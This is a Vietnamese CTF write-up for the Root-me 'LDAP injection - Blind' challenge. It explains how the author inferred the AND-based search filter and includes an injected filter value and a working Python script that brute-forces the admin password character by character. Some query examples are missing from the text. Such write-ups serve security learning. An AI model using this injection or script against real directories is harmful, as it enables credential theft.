Writeup-CTF
  • CTF events
    • DamCTF-2021
    • N1CTF 2021
    • WANNAGAME CHAMPIONSHIP2021
      • After end
    • DefCamp CTF 21-22
  • Root-me
    • SQL Injection - Filter bypass
    • GraphQL
    • JSON Web Token (JWT) - Public key
    • LDAP injection - Blind
    • Python - Blind SSTI Filters Bypass
    • SQL Injection - Filter bypass
    • SQL Truncation
    • Page 1
    • [Root-me]PHP - Unserialize overflow
  • WebGoat
    • Injection
    • XXE
    • Broken Authentication
      • JWT Token
      • Password reset
    • Sensitive Data Exposure
      • Insecure login
    • Broken Access Control
      • Insecure Direct Object References
    • Cross Site Scripting (XSS)
    • Cross site request forgery
      • Cross-Site Request Forgeries
      • Server-Side Request Forgery
    • Client site
      • Client site filtering
      • Bypass front-end restrictions
      • HTML tampering
    • Insecure Deserialization
    • Vulnerable Components
    • Challenges
      • Admin lost password
      • Without password
      • Without account
Powered by GitBook
On this page
  1. Root-me

LDAP injection - Blind

Hard - 55 pts

PreviousJSON Web Token (JWT) - Public keyNextPython - Blind SSTI Filters Bypass

Last updated 3 years ago

LDAP injection - Blind (Hard - 55 pts)

Lỗ hổng xảy ra ở: http://challenge01.root-me.org/web-serveur/ch26/?action=dir&search=

Ở đây sẽ thực hiện tìm kiếm một account dựa trên email.

Để kiểm chứng điều này mình sẽ ví dụ:

Account bên dưới có sn là jsmith và email là j.smith@ch26.challenge01.root-me.org

Khi mình nhập thông tin tìm kiếm là "js" kết quả tìm kiếm không hiển thị

Nhưng khi mình nhập thông tin tìm kiếm là j.s thì kết quả hiện thị ra thông tin của account trên, mà j.s chỉ xuất hiện trong email chứng tỏ ở đây người ta thực hiện tìm kiếm theo email.

Giờ mình có thể suy ra được cú phát câu query có dạng:

*Với operator có thể là AND (&), OR (|), not (!)

Tiếp theo mình sẽ kiểm tra xem operator được sử dụng là gì

Mình sẽ nhập vào input:

khi này câu query sẽ trở thành dạng:

(operator(email=*j*)(cn=j*))

Với câu query này thì kết quả là thành công

Khi mình thay input thành:

Khi thay thành js thì chỉ có cn thỏa mà email không thỏa và cho ra 0 kết quả tìm kiếm chứng tỏ operator đang sử dụng là &

Vậy cú phát tìm kiếm có thể là:

Giờ chúng ta chỉ cần thực hiện tương tự như trên để thực hiện tìm password của admin:

admin*)(password=somthing

Solve code:

import requests
import string

url = 'http://challenge01.root-me.org/web-serveur/ch26/'
charlist = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

def findPass():
	password = ''
	while True:
		for i in charlist:
			r = requests.get(url+'?action=dir&search=admin*)(password='+password+i)
			if "admin" in r.text:
				password += i
				print(password)
				break
		else:
			break
	return password

def main():
	print("[+] Found admin's password: ", findPass())

if __name__=="__main__":
	main()

Kết quả:

image
image
image